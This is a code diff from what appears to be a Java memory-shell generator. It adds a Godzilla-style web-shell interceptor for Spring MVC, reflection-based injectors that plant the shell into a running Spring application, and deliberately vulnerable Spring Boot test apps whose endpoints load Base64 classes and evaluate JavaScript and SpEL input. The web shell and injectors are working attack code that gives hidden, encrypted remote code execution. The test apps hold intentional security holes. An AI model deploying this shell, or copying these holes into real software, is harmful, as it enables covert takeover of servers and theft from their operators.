Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,115 @@
package com.reajason.javaweb.memshell.springmvc.godzilla;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaInterceptor(ClassLoader c) {
super(c);
}
public GodzillaInterceptor() {
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
return false;
}
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,204 @@
package com.reajason.javaweb.memshell.springmvc.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringControllerHandlerInterceptor {
static {
new SpringControllerHandlerInterceptor();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringControllerHandlerInterceptor() {
try {
Object context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext");
}
}
@SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
}
}
return context;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object controller) throws Exception {
Class<?> beanNameUrlHandlerMappingClass = null;
try {
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping");
} catch (ClassNotFoundException e) {
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.SimpleUrlHandlerMapping", false, context.getClass().getClassLoader());
}
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
if (handlerMap.get(getUrlPattern()) != null) {
System.out.println("controller already injected");
return;
}
handlerMap.put(getUrlPattern(), controller);
System.out.println("controller injected successfully");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
}
@@ -0,0 +1,201 @@
package com.reajason.javaweb.memshell.springmvc.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringInterceptorInjector {
static {
new SpringInterceptorInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringInterceptorInjector() {
try {
Object context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext");
}
}
@SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
}
}
return context;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object interceptor) throws Exception {
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
System.out.println(abstractHandlerMapping.getClass().getName());
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
for (Object adaptedInterceptor : adaptedInterceptors) {
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
System.out.println("interceptor already injected");
return;
}
}
adaptedInterceptors.add(interceptor);
System.out.println("interceptor injected successfully");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
}
@@ -0,0 +1,4 @@
package org.springframework.web.servlet;
public interface AsyncHandlerInterceptor {
}
@@ -0,0 +1,8 @@
package org.springframework.web.servlet;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class ModelAndView {
}
@@ -0,0 +1,8 @@
package org.springframework.web.servlet.mvc;
/**
* @author ReaJason
* @since 2024/12/22
*/
public interface Controller {
}
+3 -1
View File
@@ -12,4 +12,6 @@ include 'integration-test'
include 'vul'
include 'vul:vul-webapp'
include 'vul:vul-webapp-jakarta'
include 'vul:vul-webapp-expression'
include 'vul:vul-webapp-expression'
include 'vul:vul-springboot2'
include 'vul:vul-springboot3'
+8
View File
@@ -0,0 +1,8 @@
FROM openjdk:8
WORKDIR /app
COPY build/libs/vul-springboot2.jar /app/app.jar
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS -jar app.jar
+24
View File
@@ -0,0 +1,24 @@
plugins {
id 'org.springframework.boot' version '2.7.6'
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
id 'java'
id 'war'
}
group = 'com.reajason.javaweb.vul'
version = ''
sourceCompatibility = '1.8'
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-web'
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
tasks.named('test') {
useJUnitPlatform()
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.vul.springboot2;
import com.fasterxml.jackson.annotation.JsonAutoDetect;
import com.fasterxml.jackson.annotation.PropertyAccessor;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
@SpringBootApplication
public class VulSpringboot2Application {
public static void main(String[] args) {
SpringApplication.run(VulSpringboot2Application.class, args);
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/b64")
public class Base64ClassLoaderController extends ClassLoader {
@PostMapping
public String base64ClassLoader(String data) throws Exception {
byte[] bytes = Base64.getDecoder().decode(data);
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
return o.toString();
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
public class IndexController {
@RequestMapping("/test")
public String test() {
return "";
}
@GetMapping("/")
public String index() {
return "hello";
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/js")
public class ScriptEngineController {
@PostMapping
public ResponseEntity<?> js(String data) throws ScriptException {
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/spel")
public class SpELController {
@PostMapping
public ResponseEntity<?> spel(String data) {
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
}
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.vul.springboot2;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class VulSpringboot2ApplicationTests {
@Test
void contextLoads() {
}
}
+8
View File
@@ -0,0 +1,8 @@
FROM openjdk:17
WORKDIR /app
COPY build/libs/vul-springboot3.jar /app/app.jar
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS -jar app.jar
+20
View File
@@ -0,0 +1,20 @@
plugins {
id 'java'
id 'war'
id 'org.springframework.boot' version '3.3.7'
id 'io.spring.dependency-management' version '1.1.7'
}
group = 'com.reajason.javaweb.vul'
version = ''
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-web'
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.vul.springboot3;
public class ClassDefiner extends ClassLoader {
private ClassDefiner() {
}
public static Class<?> defineClass(byte[] code) {
return new ClassDefiner().defineClass(null, code, 0, code.length);
}
}
@@ -0,0 +1,12 @@
package com.reajason.javaweb.vul.springboot3;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class VulSpringboot3Application {
public static void main(String[] args) {
SpringApplication.run(VulSpringboot3Application.class, args);
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.vul.springboot3.controller;
import com.reajason.javaweb.vul.springboot3.ClassDefiner;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/b64")
public class Base64ClassLoaderController {
@PostMapping
public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
byte[] bytes = Base64.getDecoder().decode(data);
Object o = ClassDefiner.defineClass(bytes).newInstance();
return o.toString();
}
}
@@ -0,0 +1,123 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
public class IndexController {
@RequestMapping("/test")
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
return "";
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
@GetMapping("/")
public String index() {
return "hello";
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.vul.springboot3.controller;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/spel")
public class SpELController {
/**
* 10000 长度限制,无法使用
*/
@PostMapping
public ResponseEntity<?> spel(String data) {
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
}
}
@@ -0,0 +1 @@
spring.application.name=vul-springboot3
@@ -0,0 +1,13 @@
package com.reajason.javaweb.vul.springboot3;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class VulSpringboot3ApplicationTests {
@Test
void contextLoads() {
}
}
@@ -10,6 +10,7 @@ export function UrlPatternTip() {
</TooltipTrigger>
<TooltipContent>
<p>使 Servlet urlPattern使 /*使</p>
<p>使 SpringMVC ControllerHandler urlPattern使 /*使</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>